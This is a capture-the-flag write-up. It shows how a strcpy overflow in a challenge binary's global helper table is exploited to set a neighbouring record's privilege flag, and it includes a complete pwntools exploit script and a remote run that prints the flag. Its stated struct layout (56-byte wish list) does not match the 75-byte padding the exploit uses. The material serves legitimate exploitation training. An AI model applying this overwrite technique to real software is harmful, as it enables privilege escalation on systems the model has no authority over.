newyearshow
Overview

newyearshow

January 12, 2026
4 min read
3

newyearshow

Category
Pwn
Files
newyear_party
Description
Wow, I've never seen a show like this before.

Starting with the binary’s security mitigations:

Terminal window
checksec newyear_party
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes

The binary has PIE and NX enabled, but lacks a stack canary. Since the vulnerability involves a global (BSS) buffer overflow, the stack canary and NX protections don’t prevent us from corrupting adjacent global variables.

Program Analysis

In this challenge, we were given a binary named newyearshow. Let’s try to examine the decompiled code.

Data Structures

The program organizes data using a global array of Helper structures stored in the .bss section:

typedef struct {
int is_santa; // 0 = Regular Helper, 1 = Santa Claus
char username[44]; // Helper's public name
char password[32]; // Secret login phrase
char wish_list[56]; // The user's holiday wishes
} Helper;
Helper helpers[10]; // Global table in BSS

Each helper is represented by a structure packed contiguously in memory. As we’ll see, the proximity of these fields in the .bss section is central to the challenge.

main

int main(void) {
setvbuf(stdout, (char *)0x0, 2, 0);
setvbuf(stdin, (char *)0x0, 2, 0);
initialize_santa(); // Pre-populates the first slots
main_menu(); // Interactive loop
return 0;
}

The main() function initializes the environment by setting up unbuffered I/O, pre-populating the helpers array with some initial data via initialize_santa(), and then handing control over to the interactive main_menu().

void main_menu(void) {
int choice;
char wish_buffer[112];
char password_buffer[32];
char username_buffer[44];
while (1) {
display_main_menu();
if (scanf("%d", &choice) != 1) {
getchar(); // clear invalid input
continue;
}
getchar(); // consume newline
if (choice == 1) {
printf("Enter your name: ");
scanf("%43s", username_buffer);
printf("Enter the secret phrase: ");
scanf("%31s", password_buffer);
login_helper(username_buffer, password_buffer);
}
else if (choice == 2) {
printf("Enter your desired name: ");
scanf("%43s", username_buffer);
printf("Create a secret phrase: ");
scanf("%31s", password_buffer);
printf("What is on your wish list?: ");
scanf("%111s", wish_buffer);
register_helper(username_buffer, password_buffer, wish_buffer);
}
else if (choice == 3) {
display_all_helpers();
}
// ...
}
}

The main_menu() handles the primary user interactions, allowing users to sign in, register as a helper, or view all registered helpers. Notably, the wish_buffer used for registration is 112 bytes long, which matches the size used in the scanf() call.

register_helper

void register_helper(char *username, char *password, char *wish) {
int i;
// ... check for existing name ...
for (i = 0; i < 10; i++) {
if (helpers[i].username[0] == '\0') {
helpers[i].is_santa = 0;
strcpy(helpers[i].username, username);
strcpy(helpers[i].password, password);
strcpy(helpers[i].wish_list, wish);
printf("Welcome to the workshop, %s!\n", username);
return;
}
}
// ...
}

The register_helper() function adds a new entry to the helpers array. It explicitly sets the is_santa flag to 0. However, there’s a potential issue: it uses strcpy() to copy the wish argument into helpers[i].wish_list. If the input wish is longer than 56 bytes, it will overflow into the next structure in the .bss section.

update_wish_list

void update_wish_list(Helper *helper) {
char new_wish_buffer[112];
printf("Enter your new wish list: ");
scanf("%111s", new_wish_buffer);
strcpy(helper->wish_list, new_wish_buffer); // [!] VULNERABILITY
puts("Your wish list has been updated!");
}

This is where the core vulnerability lies. The update_wish_list() function allows a signed-in user to update their wish_list. It reads up to 111 bytes into a local buffer and then uses strcpy() to copy it into the helper->wish_list field, which is only 56 bytes. This leads to a BSS Overflow, allowing us to overwrite the fields of the next helper in the array.

get_special_gift

void get_special_gift(void) {
FILE *fp = fopen("flag.txt", "r");
// ... read and print flag ...
}

The get_special_gift() function is the ultimate goal. It is called from the helper_menu() if the condition if (helper->is_santa == 1) is met. By leveraging the BSS overflow in update_wish_list(), we can overwrite the is_santa field of a helper we control (or one we register subsequently) to gain access to the flag.

Now that we know the bug, let’s move to the exploitation part.

Exploitation

Memory Layout & Overflow

Because the helpers array is in the .bss section, the structures are laid out contiguously:

+------------------------+
| is_santa (4 bytes) | <--- helpers[i].is_santa
+------------------------+
| username (44 bytes) |
+------------------------+
| password (32 bytes) |
+------------------------+
| wish_list (56 bytes) | <--- Payload start
+------------------------+
| is_santa (4 bytes) | <--- helpers[i+1].is_santa OVERWRITTEN
+------------------------+

By overflowing helpers[i].wish_list, we can directly reach and overwrite helpers[i+1].is_santa.

  1. Preparation: Register two helpers (Helper and Santa).
  2. Corruption: Sign in as Helper and trigger the overflow via the wishlist update.
  3. Payload: Use 75 bytes of padding to reach the next slot’s is_santa field and set it to 1.
  4. Retrieval: Sign in as Santa and grab the flag.

Exploit Script

from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
set follow-fork-mode parent
set follow-exec-mode same
continue
'''.format(**locals())
exe = './newyear_party'
elf = context.binary = ELF(exe, checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
def sa(delim,data): return io.sendafter(delim,data)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
io = start()
def register(name,secret,list):
sla(b"> ", b"2")
sla(b"name: ", str(name).encode())
sla(b"phrase: ", str(secret).encode())
sla(b"list?: ", str(list).encode())
def signin(name,secret):
sla(b"> ", b"1")
sla(b"name: ", str(name).encode())
sla(b"phrase: ", str(secret).encode())
# 1. Register two helpers
register(b'Helper', b'pass', b'wish')
register(b'Santa', b'pass', b'wish')
# 2. Sign in as the first helper
signin(b'Helper', b'pass')
# 3. Payload: 75 bytes of padding + p32(1) to set is_santa = 1
payload = b"C" * 75 + p32(1)
# 4. Overwrite next helper's status
sla(b"> ", b"2")
sla(b": ", payload)
# 5. Switch to the now-elevated Santa
sla(b"> ", b"4")
signin(b'Santa', b'pass')
# 6. Retrieve flag
sla(b"> ", b"3")
io.interactive()

Running the exploit successfully elevates our privileges and retrieves the flag.

Terminal window
$ python3 xploit.py REMOTE ctf.mf.grsu.by 9074
[+] Opening connection to ctf.mf.grsu.by on port 9074: Done
[DEBUG] Sent 0x50 bytes:
00000000 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 │CCCC│CCCC│CCCC│CCCC│
*
00000040 43 43 43 43 43 43 43 43 43 43 43 01 00 00 00 0a │CCCC│CCCC│CCC·│····│
[*] Switching to interactive mode
Your Special Gift: grodno{c42495659aa498fb2bc873758a5909cf}

Flag: grodno{c42495659aa498fb2bc873758a5909cf}